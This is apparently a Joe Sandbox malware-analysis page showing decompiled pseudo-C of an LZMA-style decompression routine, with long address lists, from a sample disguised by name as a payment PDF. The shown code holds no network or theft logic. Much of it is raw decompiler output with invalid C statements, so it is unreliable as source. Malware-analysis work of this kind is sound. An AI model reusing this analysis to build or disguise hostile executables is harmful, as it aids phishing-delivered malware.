														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406df4
0x00406df4
0x00406df8
0x00406e1d
0x00406e27
0x00000000
0x00406dfa
0x00406dfa
0x00406dfd
0x00406e01
0x00406e04
0x00406e07
0x00406e0b
0x00406e0b
0x00406e0e
0x00406ee8
0x00406ee8
0x00406eef
0x00406eef
0x00406ef2
0x00406ef9
0x00406f26
0x00406f2a
0x00406f8a
0x00406f8d
0x00406f92
0x00406f93
0x00406f95
0x00406f97
0x00406f9a
0x00406ea6
0x00406ea6
0x00406ea6
0x00406642
0x00406642
0x00406642
0x0040664b
0x00000000
0x00000000
0x00406651
0x00000000
0x0040665c
0x00000000
0x00000000
0x00406665
0x00406668
0x0040666b
0x0040666f
0x00000000
0x00000000
0x00406675
0x00406678
0x0040667a
0x0040667b
0x0040667e
0x00406680
0x00406681
0x00406683
0x00406686
0x0040668b
0x00406690
0x00406699
0x004066ac
0x004066af
0x004066bb
0x004066e3
0x004066e5
0x004066f3
0x004066f3
0x004066f7
0x00000000
0x00000000
0x00000000
0x00000000
0x004066e7
0x004066e7
0x004066ea
0x004066eb
0x004066eb
0x00000000
0x004066e7
0x004066c1
0x004066c6
0x004066c6
0x004066cf
0x004066d7
0x004066da
0x00000000
0x004066e0
0x004066e0
0x00000000
0x004066e0
0x00000000
0x004066fd
0x004066fd
0x00406701
0x00406fad
0x00000000
0x00406fad
0x0040670a
0x0040671a
0x0040671d
0x00406720
0x00406720
0x00406720
0x00406723
0x00406727
0x00000000
0x00000000
0x00406729
0x0040672f
0x00406759
0x0040675f
0x00406766
0x00000000
0x00406766
0x00406735
0x00406738
0x0040673d
0x0040673d
0x00406748
0x00406750
0x00406753
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406798
0x0040679e
0x004067a1
0x004067ae
0x004067b6
0x00000000
0x00000000
0x0040676d
0x0040676d
0x00406771
0x00406fbc
0x00000000
0x00406fbc
0x0040677d
0x00406788
0x00406788
0x00406788
0x0040678b
0x0040678e
0x00406791
0x00406796
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e2d
0x00406e2d
0x00406e33
0x00406e39
0x00406e3f
0x00406e59
0x00406e5c
0x00406e62
0x00406e6d
0x00406e6d
0x00406e6f
0x00406e41
0x00406e41
0x00406e50
0x00406e54
0x00406e54
0x00406e79
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e7b
0x00406e7f
0x0040702e
0x00000000
0x0040702e
0x00406e8b
0x00406e92
0x00406e9a
0x00406e9d
0x00406ea0
0x00406ea0
0x00000000
0x00000000
0x004067be
0x004067c0
0x004067c3
0x00406834
0x00406837
0x0040683a
0x00406841
0x0040684b
0x00000000
0x0040684b
0x004067c5
0x004067c9
0x004067cc
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d9
0x004067db
0x004067e0
0x004067e3
0x004067e6
0x004067ea
0x004067f1
0x004067f4
0x004067fb
0x004067ff
0x00406807
0x00406807
0x00406807
0x00406801
0x00406801
0x00406801
0x004067f6
0x004067f6
0x004067f6
0x0040680b
0x0040680e
0x0040682c
0x0040682e
0x00000000
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681b
0x0040681b
0x0040681b
0x0040681e
0x00406821
0x00406823
0x00406824
0x00406827
0x00000000
0x00406827
0x00000000
0x00406a5d
0x00406a61
0x00406a7f
0x00406a82
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9a
0x00406aa1
0x00406aa2
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406aad
0x00406ab2
0x00000000
0x00406ab2
0x00406a63
0x00406a66
0x00406a69
0x00406a73
0x00000000
0x00000000
0x00406ac7
0x00406acb
0x00406aee
0x00406af1
0x00406af4
0x00406afe
0x00406acd
0x00406acd
0x00406ad0
0x00406ad3
0x00406ad6
0x00406ae3
0x00406ae6
0x00406ae6
0x00000000
0x00000000
0x00406b0a
0x00406b0e
0x00000000
0x00000000
0x00406b14
0x00406b18
0x00000000
0x00000000
0x00406b1e
0x00406b20
0x00406b24
0x00406b24
0x00406b27
0x00406b2b
0x00000000
0x00000000
0x00406b7b
0x00406b7f
0x00406b86
0x00406b89
0x00406b8c
0x00406b96
0x00000000
0x00406b96
0x00406b81
0x00000000
0x00000000
0x00406ba2
0x00406ba6
0x00406bad
0x00406bb0
0x00406bb3
0x00406ba8
0x00406ba8
0x00406ba8
0x00406bb6
0x00406bb9
0x00406bbc
0x00406bbc
0x00406bbf
0x00406bc2
0x00406bc5
0x00406bc5
0x00406bc8
0x00406bcf
0x00406bd4
0x00000000
0x00000000
0x00406c62
0x00406c62
0x00406c66
0x00407004
0x00000000
0x00407004
0x00406c6c
0x00406c6f
0x00406c72
0x00406c76
0x00406c79
0x00406c7f
0x00406c81
0x00406c81
0x00406c81
0x00406c84
0x00406c87
0x00000000
0x00000000
0x00406857
0x00406857
0x0040685b
0x00406fc8
0x00000000
0x00406fc8
0x00406861
0x00406864
0x00406867
0x0040686b
0x0040686e
0x00406874
0x00406876
0x00406876
0x00406876
0x00406879
0x0040687c
0x0040687c
0x0040687f
0x00406882
0x00000000
0x00000000
0x00406888
0x0040688e
0x00000000
0x00000000
0x00406894
0x00406894
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a4
0x004068a5
0x004068a8
0x004068aa
0x004068b0
0x004068b3
0x004068b6
0x004068b9
0x004068bc
0x004068bf
0x004068c2
0x004068de
0x004068e1
0x004068e4
0x004068e7
0x004068ee
0x004068f2
0x004068f4
0x004068f8
0x004068c4
0x004068c4
0x004068c8
0x004068d0
0x004068d5
0x004068d7
0x004068d9
0x004068d9
0x004068fb
0x00406902
0x00406905
0x00000000
0x0040690b
0x00000000
0x0040690b
0x00000000
0x00406910
0x00406910
0x00406914
0x00406fd4
0x00000000
0x00406fd4
0x0040691a
0x0040691d
0x00406920
0x00406924
0x00406927
0x0040692d
0x0040692f
0x0040692f
0x0040692f
0x00406932
0x00406935
0x00406935
0x00406935
0x0040693b
0x00000000
0x00000000
0x0040693d
0x00406940
0x00406943
0x00406946
0x00406949
0x0040694c
0x0040694f
0x00406952
0x00406955
0x00406958
0x0040695b
0x00406973
0x00406976
0x00406979
0x0040697c
0x0040697f
0x00406983
0x00406985
0x0040695d
0x0040695d
0x00406965
0x0040696a
0x0040696c
0x0040696e
0x0040696e
0x00406988
0x0040698f
0x00406992
0x00000000
0x00406994
0x00000000
0x00406994
0x00406992
0x00406999
0x00406999
0x00406999
0x00406999
0x00000000
0x00000000
0x004069d4
0x004069d4
0x004069d8
0x00406fe0
0x00000000
0x00406fe0
0x004069de
0x004069e1
0x004069e4
0x004069e8
0x004069eb
0x004069f1
0x004069f3
0x004069f3
0x004069f3
0x004069f6
0x004069f9
0x004069f9
0x004069ff
0x0040699d
0x0040699d
0x004069a0
0x00000000
0x004069a0
0x00406a01
0x00406a01
0x00406a04
0x00406a07
0x00406a0a
0x00406a0d
0x00406a10
0x00406a13
0x00406a16
0x00406a19
0x00406a1c
0x00406a1f
0x00406a37
0x00406a3a
0x00406a3d
0x00406a40
0x00406a43
0x00406a47
0x00406a49
0x00406a21
0x00406a21
0x00406a29
0x00406a2e
0x00406a30
0x00406a32
0x00406a32
0x00406a4c
0x00406a53
0x00406a56
0x00000000
0x00406a58
0x00000000
0x00406a58
0x00000000
0x00406ce5
0x00406ce5
0x00406ce9
0x00407010
0x00000000
0x00407010
0x00406cef
0x00406cf2
0x00406cf5
0x00406cf9
0x00406cfc
0x00406d02
0x00406d04
0x00406d04
0x00406d04
0x00406d07
0x00000000
0x00000000
0x00406ab5
0x00406ab5
0x00406ab8
0x00406e2a
0x00406e2a
0x00000000
0x00000000
0x00000000
0x00000000
0x00406eb1
0x00406eb5
0x00406ed3
0x00406ed3
0x00406ed3
0x00406eda
0x00406ee1
0x00000000
0x00406ee1
0x00406eb7
0x00406eba
0x00406ebd
0x00406ec0
0x00406ec7
0x00000000
0x00000000
0x00406fa2
0x00406fa5
0x00406ea6
0x00406ea6
0x00000000
0x00000000
0x00406bdc
0x00406bde
0x00406be5
0x00406be6
0x00406be8
0x00406beb
0x00000000
0x00000000
0x00406bf3
0x00406bf6
0x00406bf9
0x00406bfb
0x00406bfd
0x00406bfd
0x00406bfe
0x00406c01
0x00406c08
0x00406c0b
0x00406c19
0x00000000
0x00000000
0x00000000
0x00000000
0x00406efe
0x00406efe
0x00406f02
0x0040703a
0x00000000
0x0040703a
0x00406f08
0x00406f0b
0x00406f0e
0x00406f12
0x00406f15
0x00406f1b
0x00406f1d
0x00406f1d
0x00406f1d
0x00406f20
0x00406f23
0x00406f23
0x00406f23
0x00406f23
0x00000000
0x00000000
0x00406c21
0x00406c24
0x00406c5a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8d
0x00406d8d
0x00406d90
0x00406d92
0x0040701c
0x00000000
0x0040701c
0x00406d98
0x00406d9b
0x00000000
0x00000000
0x00406da1
0x00406da5
0x00406da8
0x00406da8
0x00406da8
0x00000000
0x00406da8
0x00406c26
0x00406c28
0x00406c2a
0x00406c2c
0x00406c2f
0x00406c30
0x00406c32
0x00406c34
0x00406c37
0x00406c3a
0x00406c50
0x00406c55
0x00406c8d
0x00406c8d
0x00406c91
0x00406cbd
0x00406cbf
0x00406cc6
0x00406cc9
0x00406ccc
0x00406ccc
0x00406cd1
0x00406cd1
0x00406cd3
0x00406cd6
0x00406cdd
0x00406ce0
0x00406d0d
0x00406d0d
0x00406d10
0x00406d13
0x00406d87
0x00406d87
0x00406d87
0x00000000
0x00406d87
0x00406d15
0x00406d1b
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2a
0x00406d2d
0x00406d30
0x00406d33
0x00406d36
0x00406d4f
0x00406d51
0x00406d54
0x00406d55
0x00406d58
0x00406d5a
0x00406d5d
0x00406d5f
0x00406d61
0x00406d64
0x00406d66
0x00406d69
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d70
0x00406d73
0x00406d76
0x00406d38
0x00406d38
0x00406d40
0x00406d45
0x00406d47
0x00406d4a
0x00406d4a
0x00406d79
0x00406d80
0x00406d0a
0x00406d0a
0x00406d0a
0x00406d0a
0x00000000
0x00406d82
0x00000000
0x00406d82
0x00406d80
0x00406c93
0x00406c96
0x00406c98
0x00406c9b
0x00406c9e
0x00406ca1
0x00406ca3
0x00406ca6
0x00406ca9
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00406cb6
0x00406c8a
0x00406c8a
0x00406c8a
0x00406c8a
0x00000000
0x00406cb8
0x00000000
0x00406cb8
0x00406cb6
0x00406c3c
0x00406c3f
0x00406c41
0x00406c44
0x00000000
0x00000000
0x004069a3
0x004069a3
0x004069a7
0x00406fec
0x00000000
0x00406fec
0x004069ad
0x004069b0
0x004069b3
0x004069b6
0x004069b9
0x004069bc
0x004069bf
0x004069c1
0x004069c4
0x004069c7
0x004069ca
0x004069cc
0x004069cc
0x004069cc
0x00000000
0x00000000
0x00406b2e
0x00406b2e
0x00406b32
0x00406ff8
0x00000000
0x00406ff8
0x00406b38
0x00406b3b
0x00406b3e
0x00406b41
0x00406b43
0x00406b43
0x00406b43
0x00406b46
0x00406b49
0x00406b4c
0x00406b4f
0x00406b52
0x00406b55
0x00406b56
0x00406b58
0x00406b58
0x00406b58
0x00406b5b
0x00406b5e
0x00406b61
0x00406b64
0x00406b64
0x00406b64
0x00406b67
0x00406b69
0x00406b69
0x00000000
0x00000000
0x00406dab
0x00406dab
0x00406dab
0x00406daf
0x00000000
0x00000000
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dc0
0x00406dc0
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd3
0x00406dd5
0x00406dd5
0x00406dd5
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de4
0x00406de8
0x00406dea
0x00406ded
0x00000000
0x00406def
0x00406b6c
0x00406b6c
0x00000000
0x00406b6c
0x00406ded
0x00407022
0x00407044
0x0040704a
0x0040704c
0x00407053
0x00407055
0x0040705c
0x00407060
0x00000000
0x00406651
0x00407059
0x00407059
0x00000000
0x00407059
0x00406ea6
0x00406f2c
0x00406f32
0x00406f35
0x00406f38
0x00406f3b
0x00406f3e
0x00406f41
0x00406f44
0x00406f47
0x00406f4d
0x00406f66
0x00406f69
0x00406f6c
0x00406f6f
0x00406f73
0x00406f75
0x00406f76
0x00406f79
0x00406f4f
0x00406f4f
0x00406f57
0x00406f5c
0x00406f5e
0x00406f61
0x00406f61
0x00406f83
0x00000000
0x00406f85
0x00000000
0x00406f85
0x00406f83
0x00000000
0x00406df8

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d0c270478a2f9a3adf3a01af42e260dfbb4be2f4416bec3860fa0cf1f45473d
Instruction ID: f0f32deb93356653934a7f7f8ad788a679267befe7528616fd809e2a8ddaf9c6
Opcode Fuzzy Hash: 7d0c270478a2f9a3adf3a01af42e260dfbb4be2f4416bec3860fa0cf1f45473d
Instruction Fuzzy Hash: C8913070D00229CBDF28CF98C854BADBBB1FF44305F15816AD856BB281C779AA96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406B0A Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406B0A() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M00407061))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push("true");
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4)); // executed
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8)); // executed
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
